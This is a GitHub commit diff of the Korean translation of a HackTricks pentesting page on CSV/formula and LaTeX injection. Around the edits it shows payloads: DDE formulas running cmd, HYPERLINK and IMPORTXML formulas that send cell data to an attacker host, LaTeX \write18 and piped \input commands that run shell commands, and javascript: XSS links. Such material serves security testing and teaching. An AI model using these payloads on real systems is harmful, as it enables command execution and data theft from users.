mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.
This commit is contained in:
parent
fc940adbf3
commit
237ce800e6
2 changed files with 32 additions and 18 deletions
Binary file not shown.
After Width: | Height: | Size: 278 KiB |
|
@ -6,22 +6,30 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 공식 Injection
|
||||
|
||||
### 정보
|
||||
|
||||
만약 **입력**이 **CSV 파일** (또는 **Excel**에서 열릴 가능성이 높은 다른 파일) 내에서 **반영**된다면, Excel **공식**을 넣어 사용자가 파일을 **열거나** 엑셀 시트 내의 **링크를 클릭할 때 실행**될 수 있습니다.
|
||||
**입력**이 **CSV 파일** (또는 **Excel**에서 열릴 가능성이 높은 다른 파일) 내에 **반사**된다면, Excel **공식**을 넣어 **파일을 열거나** 엑셀 시트 내의 **링크를 클릭할 때 실행**될 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
요즘에는 **Excel이 외부에서 무언가를 로드할 때 사용자에게 경고**를 표시하여 악의적인 조치를 방지하려고 합니다. 따라서 최종 페이로드에 대해 사회 공학적 노력을 기울여야 합니다.
|
||||
요즘 **Excel은** (여러 번) **외부에서 Excel로 무언가가 로드될 때 사용자에게 경고**를 표시하여 악의적인 조치를 방지합니다. 따라서 최종 페이로드에 대해 사회 공학적 노력을 기울여야 합니다.
|
||||
{% endhint %}
|
||||
|
||||
### [단어 목록](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -35,18 +43,18 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### 하이퍼링크
|
||||
|
||||
**다음 예제는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치로 요청을 수행하는 데 매우 유용합니다. 그러나 사용자가 링크를 클릭하고 경고 프롬프트를 수락해야 합니다.**
|
||||
**다음 예제는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치로 요청을 수행하는 데 매우 유용하지만, 사용자가 링크를 클릭하고 경고 프롬프트를 수락해야 합니다.**
|
||||
|
||||
다음 예제는 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)에서 가져왔습니다.
|
||||
|
||||
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되었다고 가정해보십시오. 공격자의 주요 의도는 교사가 학생 세부 정보를 관리하는 데 사용하는 시스템을 침해하는 것입니다. 이 방법은 공격자가 애플리케이션에 악성 페이로드를 주입하도록 하는 것으로, 구체적으로 학생 세부 정보를 위한 필드에 해로운 수식을 입력함으로써 이루어집니다. 공격은 다음과 같이 진행됩니다:
|
||||
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되었다고 가정해보십시오. 공격자의 주요 의도는 교사가 학생 세부 정보를 관리하는 데 사용하는 시스템을 침해하는 것입니다. 이 방법은 공격자가 애플리케이션에 악성 페이로드를 주입하도록 하는 것으로, 구체적으로 학생 세부 정보를 입력하는 필드에 해로운 수식을 입력함으로써 이루어집니다. 공격은 다음과 같이 진행됩니다:
|
||||
|
||||
1. **악성 페이로드 주입:**
|
||||
* 공격자는 학생 세부 정보 양식을 제출하지만 스프레드시트에서 일반적으로 사용되는 수식(예: `=HYPERLINK("<malicious_link>","Click here")`)을 포함합니다.
|
||||
* 공격자는 학생 세부 정보 양식을 제출하지만, 스프레드시트에서 일반적으로 사용되는 수식(예: `=HYPERLINK("<malicious_link>","Click here")`)을 포함합니다.
|
||||
* 이 수식은 하이퍼링크를 생성하도록 설계되었지만, 공격자가 제어하는 악성 서버를 가리킵니다.
|
||||
2. **침해된 데이터 내보내기:**
|
||||
* 침해를 인지하지 못한 교사들은 데이터를 CSV 파일로 내보내는 애플리케이션 기능을 사용합니다.
|
||||
* 열린 CSV 파일에는 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.
|
||||
* CSV 파일을 열면 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.
|
||||
3. **공격 트리거:**
|
||||
* 교사가 학생 세부 정보의 일부로 여기고 하이퍼링크를 클릭합니다.
|
||||
* 클릭하면 민감한 데이터(스프레드시트나 교사 컴퓨터의 세부 정보를 포함할 수 있음)가 공격자의 서버로 전송됩니다.
|
||||
|
@ -81,7 +89,7 @@ LibreOffice Calc를 사용하여 로컬 파일을 읽고 데이터를 유출할
|
|||
|
||||
### OOB (Out-of-Band) 데이터 유출을 위한 Google Sheets
|
||||
|
||||
Google Sheets는 OOB 데이터 유출을 위해 악용할 수 있는 함수를 제공합니다:
|
||||
Google Sheets는 OOB 데이터 유출을 위해 악용할 수 있는 기능을 제공합니다:
|
||||
|
||||
* **CONCATENATE**: 문자열을 연결합니다 - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: 구조화된 데이터 유형에서 데이터를 가져옵니다 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
|
@ -99,7 +107,7 @@ Google Sheets는 OOB 데이터 유출을 위해 악용할 수 있는 함수를
|
|||
* **`--shell-restricted`**: `--shell-escape`와 동일하지만 '안전한' 미리 정의된 \*\*명령어 집합에 **제한**됩니다 (\*\*Ubuntu 16.04에서 목록은 `/usr/share/texmf/web2c/texmf.cnf`에 있음).
|
||||
* **`--shell-escape`**: `\write18{command}` 구조를 활성화합니다. 명령은 셸 명령어일 수 있습니다. 이 구조는 일반적으로 보안상의 이유로 금지됩니다.
|
||||
|
||||
그러나 명령을 실행하는 다른 방법이 있으므로 RCE를 피하기 위해 `--shell-restricted`를 사용하는 것이 매우 중요합니다.
|
||||
그러나 명령을 실행하는 다른 방법도 있으므로 RCE를 피하기 위해 `--shell-restricted`를 사용하는 것이 매우 중요합니다.
|
||||
|
||||
### 파일 읽기 <a href="#read-file" id="read-file"></a>
|
||||
|
||||
|
@ -161,7 +169,7 @@ Google Sheets는 OOB 데이터 유출을 위해 악용할 수 있는 함수를
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
LaTex 오류가 발생하면 나쁜 문자 없이 결과를 얻기 위해 base64를 사용하는 것을 고려하십시오.
|
||||
만약 LaTex 오류가 발생하면, 나쁜 문자 없이 결과를 얻기 위해 base64를 사용하는 것을 고려해보세요.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -173,7 +181,7 @@ LaTex 오류가 발생하면 나쁜 문자 없이 결과를 얻기 위해 base64
|
|||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)에서
|
||||
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)로부터
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
|
@ -189,16 +197,22 @@ LaTex 오류가 발생하면 나쁜 문자 없이 결과를 얻기 위해 base64
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue